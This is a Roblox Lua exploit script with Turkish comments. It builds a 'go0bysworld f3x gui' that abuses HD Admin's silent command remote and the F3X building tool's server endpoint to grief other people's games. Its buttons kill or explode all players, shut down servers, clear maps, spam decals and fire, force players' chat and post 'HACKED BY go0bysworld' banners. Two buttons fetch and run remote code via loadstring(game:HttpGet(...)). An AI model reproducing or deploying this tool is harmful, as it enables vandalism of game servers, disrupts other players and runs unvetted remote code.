local Players = game:GetService("Players") local TweenService = game:GetService("TweenService") local UserInputService = game:GetService("UserInputService") local player = Players.LocalPlayer local gui = Instance.new("ScreenGui") gui.Name = "go0bysworld_f3x_gui" gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling gui.ResetOnSpawn = false -- Ana frame local mainFrame = Instance.new("Frame") mainFrame.Name = "MainFrame" mainFrame.Size = UDim2.new(0, 450, 0, 600) mainFrame.Position = UDim2.new(0.5, -225, 0.5, -300) mainFrame.AnchorPoint = Vector2.new(0.5, 0.5) mainFrame.BackgroundColor3 = Color3.fromRGB(15, 15, 25) mainFrame.BackgroundTransparency = 0.1 mainFrame.BorderSizePixel = 0 mainFrame.ClipsDescendants = true mainFrame.Parent = gui -- Köşe yuvarlaklığı local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0, 15) corner.Parent = mainFrame -- Gölge efekti local shadow = Instance.new("ImageLabel") shadow.Name = "Shadow" shadow.Size = UDim2.new(1, 20, 1, 20) shadow.Position = UDim2.new(0, -10, 0, -10) shadow.BackgroundTransparency = 1 shadow.Image = "rbxassetid://5554236805" shadow.ImageColor3 = Color3.fromRGB(0, 0, 0) shadow.ImageTransparency = 0.8 shadow.ScaleType = Enum.ScaleType.Slice shadow.SliceCenter = Rect.new(23, 23, 277, 277) shadow.Parent = mainFrame -- Arka plan resmi local backgroundImage = Instance.new("ImageLabel") backgroundImage.Name = "BackgroundImage" backgroundImage.Size = UDim2.new(1, 0, 1, 0) backgroundImage.Position = UDim2.new(0, 0, 0, 0) backgroundImage.BackgroundTransparency = 1 backgroundImage.Image = "rbxthumb://type=Asset&id=93291624080450&w=420&h=420" backgroundImage.ImageTransparency = 0.3 backgroundImage.ScaleType = Enum.ScaleType.Crop backgroundImage.Parent = mainFrame -- Başlık barı (drag için) local titleBar = Instance.new("Frame") titleBar.Name = "TitleBar" titleBar.Size = UDim2.new(1, 0, 0, 40) titleBar.Position = UDim2.new(0, 0, 0, 0) titleBar.BackgroundColor3 = Color3.fromRGB(25, 25, 35) titleBar.BackgroundTransparency = 0.2 titleBar.BorderSizePixel = 0 titleBar.Parent = mainFrame local titleCorner = Instance.new("UICorner") titleCorner.CornerRadius = UDim.new(0, 15) titleCorner.Parent = titleBar -- Başlık local title = Instance.new("TextLabel") title.Name = "Title" title.Size = UDim2.new(0.7, 0, 1, 0) title.Position = UDim2.new(0, 10, 0, 0) title.BackgroundTransparency = 1 title.Text = "go0bysworld f3x gui" title.TextColor3 = Color3.fromRGB(255, 255, 255) title.TextSize = 16 title.Font = Enum.Font.GothamBold title.TextXAlignment = Enum.TextXAlignment.Left title.Parent = titleBar -- Kapatma butonu local closeButton = Instance.new("TextButton") closeButton.Name = "CloseButton" closeButton.Size = UDim2.new(0, 30, 0, 30) closeButton.Position = UDim2.new(1, -35, 0, 5) closeButton.BackgroundColor3 = Color3.fromRGB(255, 60, 60) closeButton.Text = "X" closeButton.TextColor3 = Color3.fromRGB(255, 255, 255) closeButton.TextSize = 14 closeButton.Font = Enum.Font.GothamBold closeButton.AutoButtonColor = true local closeCorner = Instance.new("UICorner") closeCorner.CornerRadius = UDim.new(0, 15) closeCorner.Parent = closeButton closeButton.MouseButton1Click:Connect(function() gui:Destroy() end) closeButton.Parent = titleBar -- Scrolling frame for buttons local scrollFrame = Instance.new("ScrollingFrame") scrollFrame.Name = "ScrollFrame" scrollFrame.Size = UDim2.new(1, -20, 1, -60) scrollFrame.Position = UDim2.new(0, 10, 0, 50) scrollFrame.BackgroundTransparency = 1 scrollFrame.ScrollBarThickness = 6 scrollFrame.ScrollBarImageColor3 = Color3.fromRGB(100, 100, 150) scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0) scrollFrame.Parent = mainFrame -- Buton düzeni local listLayout = Instance.new("UIListLayout") listLayout.Padding = UDim.new(0, 8) listLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center listLayout.Parent = scrollFrame -- Canvas size update listLayout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function() scrollFrame.CanvasSize = UDim2.new(0, 0, 0, listLayout.AbsoluteContentSize.Y + 20) end) -- Drag özelliği local dragging = false local dragInput, dragStart, startPos local function update(input) local delta = input.Position - dragStart mainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end titleBar.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true dragStart = input.Position startPos = mainFrame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) titleBar.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then update(input) end end) -- Buton oluşturma fonksiyonu local function createButton(buttonName, callback) local button = Instance.new("TextButton") button.Name = buttonName button.Size = UDim2.new(1, 0, 0, 40) button.BackgroundColor3 = Color3.fromRGB(40, 40, 60) button.BackgroundTransparency = 0.2 button.Text = buttonName button.TextColor3 = Color3.fromRGB(255, 255, 255) button.TextSize = 14 button.Font = Enum.Font.Gotham button.AutoButtonColor = true local buttonCorner = Instance.new("UICorner") buttonCorner.CornerRadius = UDim.new(0, 10) buttonCorner.Parent = button -- Buton hover efekti button.MouseEnter:Connect(function() TweenService:Create(button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(60, 60, 80)}):Play() end) button.MouseLeave:Connect(function() TweenService:Create(button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(40, 40, 60)}):Play() end) if callback then button.MouseButton1Click:Connect(callback) end button.Parent = scrollFrame return button end -- HDAdmin komut fonksiyonu local function executeCommand(command) pcall(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local HDAdminClient = ReplicatedStorage:FindFirstChild("HDAdminHDClient") if HDAdminClient then local RequestCommand = HDAdminClient:FindFirstChild("Signals") if RequestCommand then RequestCommand = RequestCommand:FindFirstChild("RequestCommandSilent") if RequestCommand then RequestCommand:InvokeServer(command) end end end end) end -- F3X fonksiyonları local function getF3XTool() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent break end end if not tool then for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent break end end end return tool end -- Skybox oluşturma fonksiyonu local function createSkybox(textureId) executeCommand(";btools me") wait(0.5) executeCommand(";fogcolor black") local tool = getF3XTool() if tool then local remote = tool.SyncAPI.ServerEndpoint local char = game.Players.LocalPlayer.Character if char and char:FindFirstChild("HumanoidRootPart") then local hrp = char.HumanoidRootPart local position = hrp.CFrame + Vector3.new(0, 6, 0) -- Part oluştur local args = { [1] = "CreatePart", [2] = "Normal", [3] = position, [4] = workspace } remote:InvokeServer(unpack(args)) -- Part'ı bul ve ayarla for i,v in workspace:GetChildren() do if v:IsA("Part") and v.CFrame.Position == position.Position then -- Mesh ekle local meshArgs = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = v } } } remote:InvokeServer(unpack(meshArgs)) -- Mesh ayarla local setMeshArgs = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = v, ["MeshId"] = "rbxassetid://111891702759441" } } } remote:InvokeServer(unpack(setMeshArgs)) -- Texture ayarla local textureArgs = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = v, ["TextureId"] = "rbxassetid://"..textureId } } } remote:InvokeServer(unpack(textureArgs)) -- Boyut ayarla local sizeArgs = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = v, ["Scale"] = Vector3.new(5000, 5000, 5000) } } } remote:InvokeServer(unpack(sizeArgs)) -- Kilitle local lockArgs = { [1] = "SetLocked", [2] = { [1] = v }, [3] = true } remote:InvokeServer(unpack(lockArgs)) -- İsim ver local nameArgs = { [1] = "SetName", [2] = { [1] = v }, [3] = "Sky" } remote:InvokeServer(unpack(nameArgs)) break end end end end end -- Decal Spam fonksiyonu local function decalSpam(decalId) executeCommand(";btools me") wait(0.5) local tool = getF3XTool() if tool then local remote = tool.SyncAPI.ServerEndpoint for i, v in workspace:GetDescendants() do if v:IsA("Part") then spawn(function() -- Her yüzeye decal ekle local faces = { Enum.NormalId.Front, Enum.NormalId.Back, Enum.NormalId.Left, Enum.NormalId.Right, Enum.NormalId.Top, Enum.NormalId.Bottom } for _, face in pairs(faces) do -- Decal oluştur local createArgs = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = v, ["Face"] = face, ["TextureType"] = "Decal" } } } remote:InvokeServer(unpack(createArgs)) -- Decal ayarla local setArgs = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = v, ["Face"] = face, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://"..decalId } } } remote:InvokeServer(unpack(setArgs)) end end) end end end end -- Tüm butonları ekle -- Skybox Butonları createButton("Skybox 1", function() createSkybox("93291624080450") end) createButton("Skybox 2", function() createSkybox("93291624080450") end) createButton("Skybox 3", function() createSkybox("93291624080450") end) createButton("Skybox 4", function() createSkybox("93291624080450") end) -- Decal Spam Butonları createButton("DecalSpam 1", function() decalSpam("93291624080450") end) createButton("DecalSpam 2", function() decalSpam("93291624080450") end) -- Admin Komutları createButton("ForceField", function() executeCommand(";ff me") end) createButton("Bring All", function() executeCommand(";bring all") end) createButton("Kill All", function() executeCommand(";kill all") end) createButton("BillBoard All", function() executeCommand(";title all HAXXED BY go0bysworld") end) createButton("Disco", function() executeCommand(";disco") end) createButton("UnDisco", function() executeCommand(";undisco") end) createButton("Fog", function() executeCommand(";fog 0 0") end) createButton("UnFog", function() executeCommand(";unfog") end) createButton("Avatars", function() executeCommand(";respawn all") wait(1) executeCommand(";char all roblox") end) createButton("Savemap", function() executeCommand(";savemap") end) createButton("Loadmap", function() executeCommand(";loadmap") end) -- Chat/Mesaj Butonları createButton("Hint 1", function() executeCommand(";hint go0bysworld HAXXED THIS GAME") end) createButton("Message 1", function() executeCommand(";message Wassup nubs, destroyed by go0bysworld") end) createButton("Force Chat All", function() executeCommand(";chat all TEAM go0bysworld JOIN TODAY") end) createButton("TeamSpam", function() executeCommand(";createteam go0bysworld1") executeCommand(";createteam go0bysworld2") executeCommand(";createteam go0bysworld3") end) -- Koruma Butonları createButton("AntiAbuse", function() executeCommand(";unchar all") executeCommand(";unjail all") executeCommand(";unmute all") executeCommand(";unff all") end) -- Script Butonları createButton("EXPLODE", function() executeCommand(";explode all") end) createButton("Infinite Yield", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"))() end) createButton("Fly Script", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/XNEOFF/FlyScript/main/FlyScript"))() end) createButton("Notice All", function() executeCommand(";notice all go0bysworld HAXXED THE GAME") end) createButton("Shutdown", function() executeCommand(";shutdown") end) createButton("Alert All", function() executeCommand(";alert all HACKED BY go0bysworld") end) -- Müzik Butonları createButton("Music Theme", function() executeCommand(";music 76578817848504") end) createButton("Stop Music", function() executeCommand(";music") end) -- F3X Özellik Butonları createButton("Spawn Baseplate", function() executeCommand(";btools me") wait(0.5) local tool = getF3XTool() if tool then local remote = tool.SyncAPI.ServerEndpoint local char = game.Players.LocalPlayer.Character if char and char:FindFirstChild("HumanoidRootPart") then local hrp = char.HumanoidRootPart local position = CFrame.new(hrp.Position.X, hrp.Position.Y - 10, hrp.Position.Z) -- Baseplate oluştur local args = { [1] = "CreatePart", [2] = "Normal", [3] = position, [4] = workspace } remote:InvokeServer(unpack(args)) -- Baseplate'i bul ve boyutlandır for i,v in workspace:GetChildren() do if v:IsA("Part") and v.CFrame.Position == position.Position then local resizeArgs = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = v, ["Size"] = Vector3.new(100, 5, 100), ["CFrame"] = position } } } remote:InvokeServer(unpack(resizeArgs)) local lockArgs = { [1] = "SetLocked", [2] = { [1] = v }, [3] = true } remote:InvokeServer(unpack(lockArgs)) break end end end end end) createButton("Clear Map", function() executeCommand(";btools me") wait(0.5) local tool = getF3XTool() if tool then local remote = tool.SyncAPI.ServerEndpoint for i,v in workspace:GetChildren() do if v:IsA("Part") and v.Name ~= "Sky" then spawn(function() local args = { [1] = "Remove", [2] = { [1] = v } } pcall(function() remote:InvokeServer(unpack(args)) end) end) end end end end) createButton("Fire All", function() executeCommand(";btools me") wait(0.5) local tool = getF3XTool() if tool then local remote = tool.SyncAPI.ServerEndpoint for i,v in workspace:GetDescendants() do if v:IsA("Part") then spawn(function() local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = v, ["DecorationType"] = "Fire" } } } pcall(function() remote:InvokeServer(unpack(args)) end) end) end end end end) createButton("Sparkles All", function() executeCommand(";btools me") wait(0.5) local tool = getF3XTool() if tool then local remote = tool.SyncAPI.ServerEndpoint for i,v in workspace:GetDescendants() do if v:IsA("Part") then spawn(function() local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = v, ["DecorationType"] = "Sparkles" } } } pcall(function() remote:InvokeServer(unpack(args)) end) end) end end end end) -- GUI'yi oyuncuya ekle gui.Parent = player:WaitForChild("PlayerGui") print("go0bysworld f3x gui başarıyla yüklendi! Reis - Tüm butonlar çalışıyor!")